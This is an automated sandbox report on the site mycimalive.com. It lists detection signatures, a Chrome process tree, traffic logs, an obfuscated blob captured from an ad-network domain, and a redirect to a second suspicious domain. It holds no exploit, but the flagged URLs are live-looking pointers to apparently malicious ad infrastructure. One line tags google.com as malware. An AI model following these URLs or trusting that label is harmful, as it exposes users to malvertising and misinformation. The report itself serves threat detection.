Edit tour

Windows Analysis Report
https://www.mycimalive.com/

Overview

General Information

Sample URL:	https://www.mycimalive.com/
Analysis ID:	1533648
Tags:	urlscan
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected hidden input values containing email addresses (often used in phishing pages)

Detected non-DNS traffic on DNS port

Detected suspicious crossdomain redirect

HTML page contains hidden javascript code

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2196 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 432 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2040,i,11590247818774784367,6690440306687084841,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1224 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.mycimalive.com/" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://google.com

URL Reputation: Label: malware

Source: https://oughoaghushouru.net/afu.php?zoneid=8079706&var=8079706&rid=X9ByeUB6lykvSb0mSmFbHw%3D%3D&rhd=false&ab2r=0&sf=1&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134

HTTP Parser: {"sync":"L\u001bRR\u001f\u001c&\u001c\u0014\u0005g\u001f\u001cK\u0012\u0003\u0001\u0005P\u000eL_\u0003\u0001l\u0004%+?JY@J\u0000[\u0003C+ ,>qNEpV\\Q\u0016\u0001UH#\u0017T\u0002\u0018WA[@X\\\u0004NEdNZP\u000e7\u0011\t\u0011\u0007JI=\\\u0017\u0003\r\u000eR\u001c=\u0018UCVD\u0015MY@E\u001a\bYI\t\"Z*.[\u001dBMdNZP\u000e7\u0011\t\u0011\u0007JI\u001dK\b\u001c\u000b\u0019[\u0016BOEO\u0011\fX#\u0016\u0007\u0012\u000e]I0W\u0002DNC5[\u0001\n[\\\u001a\u0014VF\u000b\u0018\u0005@\u0002XL\u0015C\u001e\u0014\u0004P\u000e\\Y\u0007\u0015\u0011A\rFCYGZ\bE[N\tHTRJ\u0000BO@PD\u0014@UKPEN\u001a\u001e\u0010QCPW[E\u0018L\u001aO\u001b\t\u0006VF\u000e\u0011WX\bE[P\u0019HT[^\u0016\u0019\u000bT\u001b\t\u0006VF\n\t\u001d@\u0002PA\rMH\u001d\u0003P\u000e_]\u0005\r\u001f\u0014\t\u0013[RDP\u0000YU\u001b\u0012\u000b\u0019IH\u0005\\U\u0007\u0015\u0011B\t;\u001d\r\u0001\u0007[\u001d\u001c]CP^GP^\u001d\u0018V\u001b\t\u00147\u000b\u0003\u0001\u0019\u000eYFL\u0017QJF<\u001bZ\n\u0002@J\u0013x.DHX[R\u0003I.P\u000f\\ZPRLXY\u001e\u0019rF\n\b\u001c?\u0010\u0000s\u0000\r\u0016TYYEA\u0002NE|qg{6HY\u0004\u001c\t]I>\\\u0002\u0001\u0001BRw\u0006\u001fXTV\u0019KUNFEL\bGI\u00192\u000b\b\n\u0000]AX\u0004\u000e\u001d\u0005LFUJ\u001b\u0012\u001aSH\u0015C\u001a\nIH\u0016\u0007\u0003C\\AX\u001b\bT\u0018\u0011\u0004\u0015\u001f\u0010\\\u0016\u000f\u001cQ\u001bG>$\fP]B\u001f\u0016\u0017\t\u0019OH\r\u001f\u0014\u0017\u0003\u000b\u001c\u0017FT\u0004Diz\r\u0013\n\r\r\u0007\fY\u0005TI\u0005\fC\u001d\u001bQ\u0019\bE\u0003ZE*-B\u0001\u001b\u0016]\u001b\u0017X\rG\u001e\u000f\u0014\u0019\u0018\u0004RNVD@\r\n8<YQ\u0007\r\\\u0013\u0004\u000f\u0007_D\n\u000b\u001aOZS\r\u0001\u000bR\u001c\u0011h B\u001bMH\u001b\u0002\u0016\u0016T\u0003BU_\u001aX\u0000\u000b\u000eWX\u001a\u0001\rM\u0011\u0019TD]C\u0019\u001a\u0019TJU\u0013\t\u0018\u0004\u001c\u0014]G\u001aV\fELGPD\u0002O\r\u001b[B\u000e\u0014\nRZMW\u001c\u001eQ\u000e\u000b\t\u0003\u0007G\u0006\u0002BKF\u0018\u0014\u0001\rGAM\u0000YN\u0000VZXT\u0016[\u0018\u001f\nMAC\u001fB\u0016\u001bH\u0015Q\u0007\u001dV\u0016\u0019H\u0004\u0001k\u0018\bEJZY\u0014YHX[R\u0016Y_P\u00125\u0003\u0004\u0010]\u0002\b\n_RZ\t\u0001_\n\u0007\rO\u001a\u001cK>\u001c\u000b\u0019\u0001]\u0001\u0003\n\b\u0002\u0001TTW]LQ\u0000GH\nUHBI\u001cSLW\u0006\u0015\u0011B\u0000FCJ4\u000f]\u001b\u0010Z\u0000E \u000e\u0005k7\u0002ER\u0011\u001aX\n\u001bJOS\u0014K\u0017X\u0011HTI%]\u0000^\u0005\u001b\u001f\u0014\n\u0010[REN\u001a\f\u000fX\rHTXA\u0018L\u0005T\u001b\t\u0002VF\u001d\u0005WX\u0000E[K\u0015\u001eLQA\u0001^A\u0015Z[i\u0015\u0006\u0013JOS\u0014K\u0017NCP_GPC\nO\r_RZ\t\u0001UJ\u001a\u0011[\u0019\f\u001b[\u0004\u001b\u0007\u001e\u0018L\u0005^]WS\u0014FC\u000e\u0014\u000eK\fU\u001b\u0002\u00021\u0004\u0010^1\u0004Y]VNX^KXDN\u001a\u001e\u0010W>\u0001\u000b\u0012\u0001k\u0002\bY^G^X^K[DN\u001a\n\u0016U\u000e\u00181\u000f\u0017D\u001a\u0005\u0015\u0003\u0001\u0002VF\u000f\r\u001b\u0006W\u001b[\u0003C-\u0001\u0004\u0015X\u000bM~WP\u0018XH[\u000f\u0014\u000f]\u0019\u0018]\u0012HT[^\u0016\u0000\u0001\u0015

Source: https://www.mycimalive.com/

HTTP Parser: Base64 decoded: {"adblock":{},"excludes":""}

Source: https://www.mycimalive.com/	HTTP Parser: No favicon
Source: https://www.mycimalive.com/	HTTP Parser: No favicon
Source: https://www.mycimalive.com/	HTTP Parser: No favicon
Source: https://oughoaghushouru.net/afu.php?zoneid=8079706&var=8079706&rid=X9ByeUB6lykvSb0mSmFbHw%3D%3D&rhd=false&ab2r=0&sf=1&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134	HTTP Parser: No favicon
Source: https://phaivusaido.com/policy-sweep-check.htm?offer_id=99275599&geo=US&oaid=0080f52b8e41436deb287525cd342cae&s=869823461617578654&z=8079706&b=21546778&var=&campaignid=14083&utm_campaign=&utm_medium=8079706&utm_source=zd_14083&utm_term=21546778&utm_content=zd_public_v2&country=US	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50185 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50274 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50289 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50357 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50359 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:50363 version: TLS 1.2

Source: global traffic	TCP traffic: 192.168.2.6:49798 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.6:49894 -> 1.1.1.1:53

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

HTTP traffic: Redirect from: oughoaghushouru.net to https://phaivusaido.com/policy-sweep-check.htm?offer_id=99275599&geo=us&oaid=0080f52b8e41436deb287525cd342cae&s=869823461617578654&z=8079706&b=21546778&var=&campaignid=14083&utm_campaign=&utm_medium=8079706&utm_source=zd_14083&utm_term=21546778&utm_content=zd_public_v2&country=us

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.mycimalive.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/a/AVvXsEiTV-7Y2I-d67KrsXYeIouYAFpW5ubJhPjx7l6sbDTzEQM9hVfKlnXCW8nD01dufMkXG0RutlWWVJKy0qAkoqseene4q0eVlaID9BCe28OqBA9SN_Yjy-al3Ef6FedD80doXoz7UE1RESRxhFyHfFovuOoNPVN3ABwjXSb87O9QqO1nFtiOju4OIOF8u0o=s1280 HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/a/AVvXsEie-I9BcwAGL-Q2otyHHcocnNO7wYJMLIE_wTDb_VUERu_pttcU4fYTdaJisnLRZ8gVgbZI0ZYBRHx7rOkyP9hw7NUCQmCO_7-0Wd9SE3HB7nfuulr4lY56tKQojf_Z66W51J6snBywAoV2ZSoC2X6gqRQT2qkfXYAUx5CkArxObmMxnMfLGEBWNU9v7DE=s1280 HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/a/AVvXsEhuOGhQW_mCF2mWt-zO3DaGNdUe7-J8EId0r1m8F1UZUWl2yrTGHML9FVXg9swozmwaB8T2d5eFipVFS9XYtnHK5CMeWad-Yx7U8obTrIjuQTNEFJM_IWAnJHlruZUd5_eZWqqKMJ6rGiV-DdAf2khkop-S16AzPy_Uo1FqaEGjip8BISiFVT0lJgptD_k=s1280 HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/a/AVvXsEgtpFcYsGsl5Crlj3BRaub4sS1wPYMeblwQkUk7ttnWFe1io1ox7ee6G2PDsa6n3mEUwEO1b6y7GCO2ALzAX45LZp5zX7E2chU_u2-OhgVrg-B95XGbbjq6KANBiayi5lXzNCGak4TUoYJgPFVk03Wv28KtbJTvuDka23dlPoIYCo1eNO0K3vjB7_muKJA=s1280 HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/a/AVvXsEhNSBCxza-9Vm_wzzSDljXblYAqFphshx9W6Cj3v4FTMfxOabEclNgX653uZHpemqUXK4ZjSlXdRCCJZEfqsfS_ZGG5w1Plyw7VR-wR3bhPAqUlEBycdvcymliiWooHhIo_A9iKKpN03q6X_KdEEEtocrAdBpQORzh0zJosW1k9ijrOx0paMjC7iiGa4jQ=s1280 HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/a/AVvXsEgc5N711LzOz4iNi3xi8pKVeX5gkv9MZWih5ACBCf6qslJOmWdT2u9DMUW8EPNyL_vWulCbbU2Y_UNgTzB7DL-R8FTebR49t2DM3JNeXbA8ROjCJUcgmT_sToEDzUzZ9bl5_ETfIk1YAUbRLEPhE7XNYdyr6NuAu0boEGYH0PjvTciStuR24xcyccktybY=s1280 HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/v1/widgets/2271878333-widgets.js HTTP/1.1Host: www.blogger.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/v1/widgets/3650705295-widgets.js HTTP/1.1Host: www.blogger.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/a/AVvXsEikTOrvZaqorznCY7bfF4hHeUoB7iqxGA6Lai59n6jBtTP-6vPF8cdimK59GMeqOtgojDBpcqDsJx8Tjd4m3RBrHihJF4GFqZC2pHaDHnXHi8s44GKacNua9X_ARVFEW4Pj1JPUQXPGajJNPH31EGKPwOf7fz4bZuxfETojB0-QXYz9qzzeNXw8ZGaMGlE=s1280 HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dyn-css/authorization.css?targetBlogID=6282888993036066443&zx=4f118a4f-0975-433c-acbe-bd56357139a6 HTTP/1.1Host: www.blogger.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag.min.js HTTP/1.1Host: glakraptaidsupi.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img/b/R29vZ2xl/AVvXsEhtpR6cISipQPMQTOi9vtx-JohqqdWbtTQEIRvNkY1Wa5Z1BG7Q2clhNFMRPcLlqhgk9MUo_-Xf_PvgkQrh3f9ipQkNBpt616ILI_4UAcG9C9DUBJ1a-vtToI8HWMPgMmUw3qkNwDtiIJiIMO2Ef3PBgpLLZntjsYJCKeYb49ppUuICD1WO37tnL9GVEoc/s1600/demon-slayer-hashiras-and-muzan-poiyga4v7urv2lh4.jpg HTTP/1.1Host: blogger.googleusercontent.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2024/10/365.html HTTP/1.1Host: sqsq2938.blogspot.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2024/10/6_11.html HTTP/1.1Host: sqsq2938.blogspot.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2024/10/78.html HTTP/1.1Host: sqsq2938.blogspot.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2024/10/4_4.html HTTP/1.1Host: sqsq2938.blogspot.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.mycimalive.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
